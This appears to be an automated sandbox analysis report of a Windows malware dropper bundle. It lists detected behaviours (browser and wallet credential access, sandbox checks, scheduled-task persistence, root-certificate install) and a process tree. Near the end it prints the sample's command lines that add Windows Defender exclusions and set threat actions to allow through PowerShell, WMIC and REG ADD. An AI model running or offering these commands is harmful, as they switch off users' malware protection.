djvu | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

System Information Discovery

Processes:

8790423.scr3224689.scr

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8790423.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3224689.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3224689.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8790423.scr

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Sun1917b8fb5f09db8.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe

Loads dropped DLL 8 IoCs

Processes:

setup_install.exeSun1966fb31dd5a07.tmpSun19eb40faaaa9.exe

pid	process
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
3420	setup_install.exe
4240	Sun1966fb31dd5a07.tmp
672	Sun19eb40faaaa9.exe
672	Sun19eb40faaaa9.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

8196 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
8196	icacls.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\8790423.scr	themida
C:\Users\Admin\AppData\Roaming\8790423.scr	themida
behavioral5/memory/2824-314-0x00000000012D0000-0x00000000012D1000-memory.dmp	themida
behavioral5/memory/4924-313-0x0000000001000000-0x0000000001001000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

3224689.scr8790423.scr

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3224689.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8790423.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

155 ipinfo.io
156 ipinfo.io
300 ipinfo.io
393 api.2ip.ua
492 api.2ip.ua
389 api.2ip.ua
11 ip-api.com
37 ipinfo.io
39 ipinfo.io
237 ip-api.com
301 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

8790423.scr3224689.scr

pid process

4924 8790423.scr
2824 3224689.scr

flow	ioc
155	ipinfo.io
156	ipinfo.io
300	ipinfo.io
393	api.2ip.ua
492	api.2ip.ua
389	api.2ip.ua
11	ip-api.com
37	ipinfo.io
39	ipinfo.io
237	ip-api.com
301	ipinfo.io

pid	process
4924	8790423.scr
2824	3224689.scr

Suspicious use of SetThreadContext 2 IoCs

Processes:

4750799.scrtmp4377_tmp.exe

description	pid	process	target process
PID 4988 set thread context of 4208	4988	4750799.scr	4750799.scr
PID 1296 set thread context of 4900	1296	tmp4377_tmp.exe	tmp4377_tmp.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5096	2356	WerFault.exe	Sun19de8ff4b6aefeb8.exe
4256	4988	WerFault.exe	4750799.scr
5388	2356	WerFault.exe	Sun19de8ff4b6aefeb8.exe
4088	4576	WerFault.exe	2.exe
5924	2356	WerFault.exe	Sun19de8ff4b6aefeb8.exe
5300	5552	WerFault.exe	7014739.exe
2952	2356	WerFault.exe	Sun19de8ff4b6aefeb8.exe
6052	4780	WerFault.exe	setup.exe
2844	4780	WerFault.exe	setup.exe
6336	4780	WerFault.exe	setup.exe
6520	2372	WerFault.exe	5.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Sun1908b94df837b3158.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Sun19eb40faaaa9.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Sun19eb40faaaa9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Sun19eb40faaaa9.exe

Creates scheduled task(s) 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3180	schtasks.exe
3356	schtasks.exe
6120	schtasks.exe
4296	schtasks.exe
2260	schtasks.exe
6212	schtasks.exe
7656	schtasks.exe
8240	schtasks.exe
7960	schtasks.exe
7276	schtasks.exe
7224	schtasks.exe
6648	schtasks.exe
6788	schtasks.exe
8512	schtasks.exe
5452	schtasks.exe
8452	schtasks.exe
7620	schtasks.exe

Delays execution with timeout.exe 6 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

7680 timeout.exe
7228 timeout.exe
7432 timeout.exe
7932 timeout.exe
7044 timeout.exe
9032 timeout.exe
Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

8232 taskkill.exe
4492 taskkill.exe
4720 taskkill.exe
8008 taskkill.exe
5212 taskkill.exe
7776 taskkill.exe

pid	process
7680	timeout.exe
7228	timeout.exe
7432	timeout.exe
7932	timeout.exe
7044	timeout.exe
9032	timeout.exe

pid	process
8232	taskkill.exe
4492	taskkill.exe
4720	taskkill.exe
8008	taskkill.exe
5212	taskkill.exe
7776	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Sun19262b9e49ad.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun19262b9e49ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun19262b9e49ad.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 17 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Sun1908b94df837b3158.exepostback.exeSun1917b8fb5f09db8.exe

pid	process
3788	Sun1908b94df837b3158.exe
3788	Sun1908b94df837b3158.exe
1824	postback.exe
1824	postback.exe
1824	postback.exe
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
2724
2724
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe
3860	Sun1917b8fb5f09db8.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Sun1908b94df837b3158.exe

pid process

3788 Sun1908b94df837b3158.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Sun19262b9e49ad.exeSun191101c1aaa.exeSun19e4ade31b2a.exeSun195a1614ec24e6a.exepostback.exeSun198361825f4.exe2036975.scrWerFault.exePublicDwlBrowser1100.exe2.exe4750799.scr

description	pid	process
Token: SeCreateTokenPrivilege	3880	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	3880	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	3880	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	3880	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	3880	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	3880	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	3880	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	3880	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	3880	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	3880	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	3880	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	3880	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	3880	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	3880	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	3880	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	3880	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	3880	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	3880	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	3880	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	3880	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	3880	Sun19262b9e49ad.exe
Token: 31	3880	Sun19262b9e49ad.exe
Token: 32	3880	Sun19262b9e49ad.exe
Token: 33	3880	Sun19262b9e49ad.exe
Token: 34	3880	Sun19262b9e49ad.exe
Token: 35	3880	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	3912	Sun191101c1aaa.exe
Token: SeDebugPrivilege	2836	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	2856	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	1824	postback.exe
Token: SeDebugPrivilege	424	Sun198361825f4.exe
Token: SeDebugPrivilege	4596	2036975.scr
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeRestorePrivilege	5096	WerFault.exe
Token: SeBackupPrivilege	5096	WerFault.exe
Token: SeDebugPrivilege	2956	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4576	2.exe
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeDebugPrivilege	4988	4750799.scr
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

pid process

2724
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

pid process

2724

pid	process
2724

pid	process
2724

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exeJMPHwuLwmK26DrRt1yLUwKah.execmd.execmd.exe

description	pid	process	target process
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	setup_installer.exe
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	setup_installer.exe
PID 1764 wrote to memory of 4048	1764	setup_x86_x64_install.exe	setup_installer.exe
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	setup_install.exe
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	setup_install.exe
PID 4048 wrote to memory of 3420	4048	setup_installer.exe	setup_install.exe
PID 3420 wrote to memory of 2752	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2752	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2752	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3292	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3292	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3292	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 776	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 776	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 776	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3744	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3744	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3744	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2812	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2812	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2812	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1412	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1412	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1412	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2304	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2304	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2304	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1008	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1008	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 1008	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2260	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2260	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2260	3420	setup_install.exe	cmd.exe
PID 2752 wrote to memory of 1824	2752	cmd.exe	powershell.exe
PID 2752 wrote to memory of 1824	2752	cmd.exe	powershell.exe
PID 2752 wrote to memory of 1824	2752	cmd.exe	powershell.exe
PID 3744 wrote to memory of 3936	3744	cmd.exe	Sun193fda712d9f1.exe
PID 3744 wrote to memory of 3936	3744	cmd.exe	Sun193fda712d9f1.exe
PID 776 wrote to memory of 3880	776	cmd.exe	Sun19262b9e49ad.exe
PID 776 wrote to memory of 3880	776	cmd.exe	Sun19262b9e49ad.exe
PID 776 wrote to memory of 3880	776	cmd.exe	Sun19262b9e49ad.exe
PID 3292 wrote to memory of 3860	3292	cmd.exe	Sun1917b8fb5f09db8.exe
PID 3292 wrote to memory of 3860	3292	cmd.exe	Sun1917b8fb5f09db8.exe
PID 3292 wrote to memory of 3860	3292	cmd.exe	Sun1917b8fb5f09db8.exe
PID 3420 wrote to memory of 2284	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2284	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 2284	3420	setup_install.exe	cmd.exe
PID 2812 wrote to memory of 2836	2812	JMPHwuLwmK26DrRt1yLUwKah.exe	Sun19e4ade31b2a.exe
PID 2812 wrote to memory of 2836	2812	JMPHwuLwmK26DrRt1yLUwKah.exe	Sun19e4ade31b2a.exe
PID 3420 wrote to memory of 3088	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3088	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 3088	3420	setup_install.exe	cmd.exe
PID 1412 wrote to memory of 3788	1412	cmd.exe	Sun1908b94df837b3158.exe
PID 1412 wrote to memory of 3788	1412	cmd.exe	Sun1908b94df837b3158.exe
PID 1412 wrote to memory of 3788	1412	cmd.exe	Sun1908b94df837b3158.exe
PID 3420 wrote to memory of 856	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 856	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 856	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 4044	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 4044	3420	setup_install.exe	cmd.exe
PID 3420 wrote to memory of 4044	3420	setup_install.exe	cmd.exe
PID 2304 wrote to memory of 2356	2304	cmd.exe	Sun19de8ff4b6aefeb8.exe
PID 2304 wrote to memory of 2356	2304	cmd.exe	Sun19de8ff4b6aefeb8.exe
PID 2304 wrote to memory of 2356	2304	cmd.exe	Sun19de8ff4b6aefeb8.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4048

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
PID:1824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3292

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1917b8fb5f09db8.exe
Sun1917b8fb5f09db8.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:3860

C:\Users\Admin\Documents\bq2mQE3DNB5Spt1I5n9bgGLt.exe
"C:\Users\Admin\Documents\bq2mQE3DNB5Spt1I5n9bgGLt.exe"
6⤵
- Executes dropped EXE
PID:4220

C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
"C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe"
6⤵
- Executes dropped EXE
PID:3124

C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
7⤵
PID:5876

C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
C:\Users\Admin\Documents\a8__nh3gvvkTUms1BJpncY_E.exe
7⤵
PID:6124

C:\Users\Admin\Documents\PebQ7ysUfWIYFJV_cc7Yoq30.exe
"C:\Users\Admin\Documents\PebQ7ysUfWIYFJV_cc7Yoq30.exe"
6⤵
- Executes dropped EXE
PID:1188

C:\Users\Admin\Documents\WAqxiQ9sMkjcgT25CZuS4RHj.exe
"C:\Users\Admin\Documents\WAqxiQ9sMkjcgT25CZuS4RHj.exe"
6⤵
- Executes dropped EXE
PID:4876

C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
7⤵
PID:7348

C:\Users\Admin\Documents\w55LOnbbnbcAFYhdFKVYPjRd.exe
"C:\Users\Admin\Documents\w55LOnbbnbcAFYhdFKVYPjRd.exe"
8⤵
PID:7380

C:\Users\Admin\Documents\pt3ubfxrqscOm8BpMcF7PAlA.exe
"C:\Users\Admin\Documents\pt3ubfxrqscOm8BpMcF7PAlA.exe"
8⤵
PID:1600

C:\Users\Admin\AppData\Local\Temp\7zS573F.tmp\Install.exe
.\Install.exe
9⤵
PID:6864

C:\Users\Admin\AppData\Local\Temp\7zS58C6.tmp\Install.exe
.\Install.exe /S /site_id "668658"
10⤵
PID:7636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
11⤵
PID:8884

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:8268

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:8204

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:8664

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:8648

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:4160

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:7452

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:2468

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:8808

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
11⤵
PID:8388

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
12⤵
PID:8040

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
13⤵
PID:4776

